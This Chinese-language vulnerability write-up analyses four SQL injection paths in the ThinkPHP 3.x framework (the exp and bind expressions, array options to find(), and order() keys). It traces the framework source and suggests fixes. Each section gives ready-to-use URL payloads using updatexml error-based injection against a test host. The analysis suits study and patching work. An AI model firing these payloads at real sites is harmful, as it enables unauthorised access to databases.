ThinkPHP3.x注入漏洞分析
exp表达式报错注入
此漏洞是由exp引起的报错注入,我们在控制器中写入一个段传参代码
// $username = I("username");
$username = $_GET["username"];
$data = M("user")-> where(array("username"=>$username))->find();
dump($data);
这里的控制路由是http://www.myapp.com/index.php/home/index?username=admin
,正常访问
当我们这里写入不规范的时候,就会造成报错注入。我们下面使用断点调试来进行演示。
分析内核语句执行过程
上面写的代码可以看到,我们是以where进行赋值的。
这个M用的就是model类,建了一个user_Think\Model
这里的where就是一个赋值
条件判断的,limit就是等于1
这里创建SQL语句。
到这里就是我们用的where了
这里是判断是否匹配正则表达式。
所有东西都是在这里进行过滤的。
这里SQL语句就执行出来了。
这里后面就是输出结果了。
protected function parseValue($value) {
if(is_string($value)) {
$value = strpos($value,':') === 0 && in_array($value,array_keys($this->bind))? $this->escapeString($value) : '\''.$this->escapeString($value).'\'';
}elseif(isset($value[0]) && is_string($value[0]) && strtolower($value[0]) == 'exp'){
$value = $this->escapeString($value[1]);
}elseif(is_array($value)) {
$value = array_map(array($this, 'parseValue'),$value);
}elseif(is_bool($value)){
$value = $value ? '1' : '0';
}elseif(is_null($value)){
$value = 'null';
}
return $value;
}
这段代码过滤一些字符,会加上\
漏洞分析
漏洞payloadhttp://www.myapp.com/index.php/home/index?username[0]=exp&username[1]==%27admin%27
这里我们发现username变成了数组。
这里赋值username数组的1='admin'了。这个时候过滤的函数就不起作用了。
这里也可以看到,对数组进行字段类型检查。
这里就没有过滤了已经。在这里之前,username这个数组的值变成了$exp.='admin'。
到这里已经出来了SQL语句,这里可以看到当username等于'admin',我们这个时候就可以对这里进行一个报错注入了。
我们在后面再加一个单引号,看是否报错,查看一下SQL语句。
可以看到,这里admin后面,有两个单引号,同时页面已经报错。
我们使用报错语句,对数据库账号进行报错注入。
http://www.myapp.com/index.php/home/index?username[0]=exp&username[1]==%27admin%27 and 1= (updatexml(1,concat(0x3a,(user())),1))%23
修复方式
规范代码写法,使用I函数。
UPDATA注入漏洞
update注入也叫bind注入。
次函数有bind表达式引起的
$condition["username"] = I("username");
$data["password"] = I("password");
$res = M("user") ->where($condition)->save($data);
dump($res);
这里如果username是数组的情况,username[1]只能是0,这样才不报错。
这里可以看到,0后面加入特殊符号,会带报错,或者不是0也会带报错。
http://www.myapp.com/index.php/home/index/index?username[0]=bind&username[1]=0 and 1= (updatexml(1,concat(0x3a,(user())),1))%23&password=123456
漏洞分析
首先还是传入的一个数组。
这里还是安全过滤,不过这里面没有bind这个函数
这里还是赋值
这里开始更新数据
判断标量;整型、浮点型、字符串和布尔类型都是标量,其他都是非标量,var是字符串,是标量。
$name = count($this->bind);
$set[] = $this->parseKey($key).'=:'.$name;
$this->bindParam($name,$val);
这里就是bind绑定的东西,值就是:0=123456
这里的SQL语句变成了UPDATE
userSET
password=:0 WHERE
username= :0 and 1= (updatexml(1,concat(0x3a,(user())),1))#
还是无法执行的。
$that = $this;
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind))
到这里,queryStr赋值了UPDATE
userSET
password='123456' WHERE
username= '123456' and 1= (updatexml(1,concat(0x3a,(user())),1))#
后面就去执行SQL查询语句了。
修复方式
这里的修复方式也很简单,只需要在上图标框位置添加bind过滤即可。
Find方法引起的SQL注入
$id = I("id");
$data = M("user")->find($id);
dump($data);
简介
不止是find方法,由于select(),find(),delete()方法可能会传入数组数据,导致可能的SQL注入隐患。
payload
http://www.myapp.com/index.php/home/index/index?id[table]=user where 1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1) %23
http://www.myapp.com/index.php/home/index/index?id[alias]=user where 1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1) %23
http://www.myapp.com/index.php/home/index/index?id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1)--
漏洞分析
首先接入的传参id是一个数组。
我们的id是一个数组,到这里options同样也是一个数组
这里开始准备获取数据
这个时候会发现,还是没有过滤。
这里还是给到了下一个方法,继续跟踪
这里开始过滤,但是我们没有下面的这些数据,所以这里也是不会过滤的,前面都没有过滤。
我们这边跟踪到下一个返回的时候,SQL语句已经出来了,并且没有任何过滤
核心漏洞代码
public function find($options=array()) {
if(is_numeric($options) || is_string($options)) {
$where[$this->getPk()] = $options;
$options = array();
$options['where'] = $where;
}
// 根据复合主键查找记录
$pk = $this->getPk();
if (is_array($options) && (count($options) > 0) && is_array($pk)) {
// 根据复合主键查询
$count = 0;
foreach (array_keys($options) as $key) {
if (is_int($key)) $count++;
}
if ($count == count($pk)) {
$i = 0;
foreach ($pk as $field) {
$where[$field] = $options[$i];
unset($options[$i++]);
}
$options['where'] = $where;
} else {
return false;
}
}
··········
public function parseSql($sql,$options=array()){
$sql = str_replace(
array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),
array(
$this->parseTable($options['table']),
$this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),
$this->parseField(!empty($options['field'])?$options['field']:'*'),
$this->parseJoin(!empty($options['join'])?$options['join']:''),
$this->parseWhere(!empty($options['where'])?$options['where']:''),
$this->parseGroup(!empty($options['group'])?$options['group']:''),
$this->parseHaving(!empty($options['having'])?$options['having']:''),
$this->parseOrder(!empty($options['order'])?$options['order']:''),
$this->parseLimit(!empty($options['limit'])?$options['limit']:''),
$this->parseUnion(!empty($options['union'])?$options['union']:''),
$this->parseLock(isset($options['lock'])?$options['lock']:false),
$this->parseComment(!empty($options['comment'])?$options['comment']:''),
$this->parseForce(!empty($options['force'])?$options['force']:'')
),$sql);
return $sql;
}
id[alias]=user where 1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1) %23分析
表达式过滤1
此处未进行任何过滤。
开始生成SQL语句
直接执行出SQL语句。
这种payload比上一种还要直接,只进行一次过滤,其他未执行过滤操作。
order by注入漏洞
$username = I("username");
$order = I("order");
$data = M("user")->where(array("username"=>$username))->order($order)->find();
dump($data);
paylod
http://www.myapp.com/index.php/home/index/index?username=admin&order[updatexml(1,concat(0x7e,user(),0x7e),1)]
漏洞分析
核心漏洞代码
protected function parseOrder($order) {
if(is_array($order)) {
$array = array();
foreach ($order as $key=>$val){
if(is_numeric($key)) {
$array[] = $this->parseKey($val);
}else{
$array[] = $this->parseKey($key).' '.$val;
}
}
$order = implode(',',$array);
}
return !empty($order)? ' ORDER BY '.$order:'';
}
传入传参,username是字符串,order是数组。
没有table的
parseDistinct也没有,parseField也没有,parseJoin也没有,parseWhere有,但是只有admin没有特殊字符。
下面就是我们的关键代码了,这里判断是否是数组,判断是否是数字。是数组,不是数字,使用了一个parsekey。我们需要查看parsekey是否过滤了。
跟踪parsekey发现,这里会进行正则表达式匹配,发现不匹配,直接返回了key。
然后order直接变成了key的值,就是我们写入的恶意代码
后面就没有任何处理了,直接输出了SQL语句了。